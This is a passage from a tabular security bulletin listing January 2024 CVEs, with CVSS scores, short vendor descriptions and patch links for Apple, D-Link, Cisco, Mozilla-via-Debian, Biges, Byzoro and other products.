N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23212**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-TVOS-090224/2454
N/A	23-Jan-2024	6.5	An access issue was addressed with improved access restrictions. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A maliciously crafted webpage may be able to fingerprint the user.	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support	O-APP-TVOS-090224/2455

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23206	.apple.com/en-us/HT214063	
N/A	23-Jan-2024	6.2	A privacy issue was addressed with improved handling of files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23223**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-TVOS-090224/2456
Observable Discrepancy	23-Jan-2024	5.9	A timing side-channel issue was addressed with improvements to constant-time computation in cryptographic functions. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An attacker may be able to decrypt legacy RSA PKCS#1 v1.5 ciphertexts without having the private key. **CVE ID : CVE-2024-23218**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-TVOS-090224/2457
N/A	23-Jan-2024	5.5	An issue was addressed with improved handling of temporary files. This issue is fixed	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-	O-APP-TVOS-090224/2458

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access user-sensitive data. **CVE ID : CVE-2024-23215**	us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	3.3	This issue was addressed with improved redaction of sensitive information. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to view a user's phone number in system logs. **CVE ID : CVE-2024-23210**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-TVOS-090224/2459
Affected Version(s): * Up to (excluding) 10.3					
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23208**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-TVOS-090224/2460

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: watchos					
Affected Version(s): * Up to (excluding) 10.3					
N/A	23-Jan-2024	8.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. Processing web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23213**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-WATC-090224/2461
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23208**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-WATC-090224/2462
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214057, https://support	O-APP-WATC-090224/2463

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23212**	.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	7.5	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user. **CVE ID : CVE-2024-23204**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-WATC-090224/2464
N/A	23-Jan-2024	6.5	An access issue was addressed with improved access restrictions. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A maliciously crafted	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support	O-APP-WATC-090224/2465

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webpage may be able to fingerprint the user. **CVE ID : CVE-2024-23206**	.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	
N/A	23-Jan-2024	6.2	A privacy issue was addressed with improved handling of files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23223**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-WATC-090224/2466
Observable Discrepancy	23-Jan-2024	5.9	A timing side-channel issue was addressed with improvements to constant-time computation in cryptographic functions. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An attacker may be able to decrypt legacy RSA PKCS#1 v1.5 ciphertexts without having the private key. **CVE ID : CVE-2024-23218**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-WATC-090224/2467
N/A	23-Jan-2024	5.5	This issue was addressed with	https://support.apple.com/en-	O-APP-WATC-090224/2468

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			improved redaction of sensitive information. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23207**	us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	5.5	An issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access user-sensitive data. **CVE ID : CVE-2024-23215**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-WATC-090224/2469
N/A	23-Jan-2024	3.3	This issue was addressed with improved redaction of sensitive information. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support	O-APP-WATC-090224/2470

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to view a user's phone number in system logs. **CVE ID : CVE-2024-23210**	.apple.com/en-us/HT214061	
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of user preferences. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A user's private browsing activity may be visible in Settings. **CVE ID : CVE-2024-23211**	https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-WATC-090224/2471
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. An app may be able to bypass certain Privacy preferences. **CVE ID : CVE-2024-23217**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-WATC-090224/2472
Affected Version(s): * Up to (excluding) 10.0					
N/A	23-Jan-2024	5.5	This issue was addressed by removing the	https://support.apple.com/en-us/HT213936,	O-APP-WATC-090224/2473

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerable code. This issue is fixed in tvOS 17, watchOS 10, macOS Sonoma 14, iOS 17 and iPadOS 17, macOS Ventura 13.6.4. An app may be able to bypass Privacy preferences. **CVE ID : CVE-2023-40528**	https://support.apple.com/en-us/HT213937, https://support.apple.com/en-us/HT213938, https://support.apple.com/en-us/HT213940, https://support.apple.com/en-us/HT214058, https://support.apple.com/kb/HT213936	
Affected Version(s): * Up to (excluding) 10.2					
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. Processing a maliciously crafted image may result in disclosure of process memory. **CVE ID : CVE-2023-42888**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-WATC-090224/2474
N/A	23-Jan-2024	5.5	A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 16.7.5 and iPadOS	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support	O-APP-WATC-090224/2475

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. An app may be able to access sensitive user data. **CVE ID : CVE-2023-42937**	.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	
Vendor: biges					
Product: vg-255-bv_firmware					
Affected Version(s): * Up to (excluding) 500.0003.r008.4011.c0012.b351.c					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	O-BIG-VG-2-090224/2476
Product: vg-255-df_firmware					
Affected Version(s): * Up to (excluding) 500.0003.r008.4011.c0012.b351.c					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies	N/A	O-BIG-VG-2-090224/2477

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**		
Product: vg-255a-bf_firmware					
Affected Version(s): * Up to (excluding) 500.0003.r008.4011.c0012.b351.c					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	O-BIG-VG-2-090224/2478
Product: vg-4c1a-lrpu_firmware					
Affected Version(s): * Up to (excluding) 500.0003.r008.4011.c0012.b351.c					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows	N/A	O-BIG-VG-4-090224/2479

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**		
Product: vg-4c1a-lru_firmware					
Affected Version(s): * Up to (excluding) 500.0003.r008.4011.c0012.b351.c					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	O-BIG-VG-4-090224/2480
Product: vg-4c1e-nvr_firmware					
Affected Version(s): * Up to (excluding) 500.0003.r008.4011.c0012.b351.c					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This	N/A	O-BIG-VG-4-090224/2481

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**		
Product: vg-64c8rd-nvr_firmware					
Affected Version(s): * Up to (excluding) 500.0003.r008.4011.c0012.b351.c					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	O-BIG-VG-6-090224/2482
Product: vg-8c1a-lrpu_firmware					
Affected Version(s): * Up to (excluding) 500.0003.r008.4011.c0012.b351.c					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before	N/A	O-BIG-VG-8-090224/2483

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**		
Product: vg-8c1e-nvr_firmware					
Affected Version(s): * Up to (excluding) 500.0003.r008.4011.c0012.b351.c					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	O-BIG-VG-8-090224/2484
Vendor: byzoro					
Product: smart_s150_firmware					
Affected Version(s): 31r02b15					
Improper Access Control	19-Jan-2024	9.8	A vulnerability was found in Beijing Baichuo Smart S150 Management Platform V31R02B15. It has been classified as critical. Affected is an unknown function of the file /useratte/inc/useratte a.php. The	N/A	O-BYZ-SMAR-090224/2485

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			manipulation leads to improper access controls. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-251538 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0712**		
N/A	19-Jan-2024	5.3	A vulnerability classified as problematic has been found in Beijing Baichuo Smart S150 Management Platform V31R02B15. This affects an unknown part of the file /log/download.php of the component Backup File Handler. The manipulation leads to information disclosure. It is possible to initiate the attack remotely. The complexity of an	N/A	O-BYZ-SMAR-090224/2486

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The identifier VDB-251541 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0716**		
Product: smart_s210_firmware					
Affected Version(s): * Up to (including) 2024-01-17					
Unrestricted Upload of File with Dangerous Type	26-Jan-2024	9.8	A vulnerability has been found in Beijing Baichuo Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload. The attack can be initiated remotely. The	N/A	O-BYZ-SMAR-090224/2487

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252184. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0939**		
Vendor: cdebyte					
Product: e880-ir01_firmware					
Affected Version(s): 1.1					
Cleartext Transmission of Sensitive Information	18-Jan-2024	7.5	An issue discovereed in EBYTE E880-IR01-V1.1 allows an attacker to obtain sensitive information via crafted POST request to /cgi-bin/luci. **CVE ID : CVE-2023-50614**	N/A	O-CDE-E880-090224/2488
Vendor: Cisco					
Product: wap371_firmware					
Affected Version(s): *					
Improper Neutralization of Special Elements used in a Command ('Comman	17-Jan-2024	7.2	A vulnerability in the web-based management interface of the Cisco WAP371 Wireless-AC/N Dual Radio Access Point (AP) with Single Point Setup	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-wap-inject-bHStWgXO	O-CIS-WAP3-090224/2489

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
d Injection')			could allow an authenticated, remote attacker to perform command injection attacks against an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted HTTP requests to the web-based management interface of an affected system. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the device. To exploit this vulnerability, the attacker must have valid administrative credentials for the device. **CVE ID : CVE-2024-20287**		
Vendor: commscope					
Product: arris_surfboard_sbg6950ac2_firmware					
Affected Version(s): -					
Missing Authentication for	26-Jan-2024	9.8	An arbitrary code execution vulnerability exists	N/A	O-COM-ARRI-090224/2490

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Critical Function			in Arris SURFboard SGB6950AC2 devices. An unauthenticated attacker can exploit this vulnerability to achieve code execution as root. **CVE ID : CVE-2024-23618**		
Vendor: contiki-ng					
Product: contiki-ng_tinydtls					
Affected Version(s): * Up to (including) 2018-08-30					
Out-of-bounds Read	24-Jan-2024	9.8	Buffer over-read vulnerability in Contiki-NG tinyDTLS through master branch 53a0d97 allows attackers obtain sensitive information via crafted input to dtls_ccm_decrypt_message(). **CVE ID : CVE-2021-42144**	N/A	O-CON-CONT-090224/2491
Vendor: Crestron					
Product: am-300_firmware					
Affected Version(s): 1.4499.00018					
Improper Neutralization of Special Elements used in an OS Command	23-Jan-2024	7.8	There is an OS command injection vulnerability in Crestron AM-300 firmware version 1.4499.00018 which may enable	N/A	O-CRE-AM-3-090224/2492

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('OS Command Injection')			a user of a limited-access SSH session to escalate their privileges to root-level access. **CVE ID : CVE-2023-6926**		
Vendor: Debian					
Product: debian_linux					
Affected Version(s): 10.0					
Out-of-bounds Write	18-Jan-2024	9.8	A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow if a bigger value was used. **CVE ID : CVE-2023-6816**	http://www.openwall.com/lists/oss-security/2024/01/18/1	O-DEB-DEBI-090224/2493
N/A	23-Jan-2024	8.8	A bug in popup notifications delay calculation could have made it possible for an attacker to trick a	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/secur	O-DEB-DEBI-090224/2494

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			user into granting permissions. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0750**	ity/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	
Improper Privilege Management	23-Jan-2024	8.8	A malicious devtools extension could have been used to escalate privileges. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0751**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	O-DEB-DEBI-090224/2495
N/A	23-Jan-2024	8.8	Memory safety bugs present in Firefox 121, Firefox ESR 115.6, and Thunderbird 115.6. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	O-DEB-DEBI-090224/2496

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Thunderbird < 115.7. **CVE ID : CVE-2024-0755**		
Out-of-bounds Write	23-Jan-2024	6.5	An out of bounds write in ANGLE could have allowed an attacker to corrupt memory leading to a potentially exploitable crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0741**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	O-DEB-DEBI-090224/2497
N/A	23-Jan-2024	6.5	A Linux user opening the print preview dialog could have caused the browser to crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0746**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	O-DEB-DEBI-090224/2498
N/A	23-Jan-2024	6.5	When a parent page loaded a child in an iframe with `unsafe-inline`, the parent Content Security Policy could have overridden the	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/,	O-DEB-DEBI-090224/2499

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			child Content Security Policy. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0747**	https://www.mozilla.org/security/advisories/mfsa2024-04/	
N/A	23-Jan-2024	6.5	In specific HSTS configurations an attacker could have bypassed HSTS on a subdomain. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0753**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	O-DEB-DEBI-090224/2500
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and	https://www.oracle.com/security-alerts/cpujan2024.html	O-DEB-DEBI-090224/2501

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
N/A	23-Jan-2024	4.3	It was possible for certain browser prompts and dialogs to be activated or dismissed unintentionally by the user due to an incorrect timestamp used to prevent input after page load. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0742**	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/security/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	O-DEB-DEBI-090224/2502
Origin Validation Error	23-Jan-2024	4.3	A phishing site could have repurposed an `about:` dialog to show phishing content with an	https://www.mozilla.org/security/advisories/mfsa2024-01/, https://www.mozilla.org/secur	O-DEB-DEBI-090224/2503

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			incorrect origin in the address bar. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7. **CVE ID : CVE-2024-0749**	ity/advisories/mfsa2024-02/, https://www.mozilla.org/security/advisories/mfsa2024-04/	
Vendor: Dlink					
Product: dap-1360_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-	N/A	O-DLI-DAP--090224/2504

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dap-1650_firmware					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Comman	26-Jan-2024	9.8	A command injection vulnerability exists in the gena.cgi module of D-Link DAP-1650 devices. An unauthenticated	N/A	O-DLI-DAP--090224/2505

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
d Injection')			attacker can exploit this vulnerability to gain command execution on the device as root. **CVE ID : CVE-2024-23624**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	9.8	A command injection vulnerability exists in D-Link DAP-1650 devices when handling UPnP SUBSCRIBE messages. An unauthenticated attacker can exploit this vulnerability to gain command execution on the device as root. **CVE ID : CVE-2024-23625**	N/A	O-DLI-DAP--090224/2506
Product: dir-1210_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822,	N/A	O-DLI-DIR--090224/2507

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-1260_firmware					
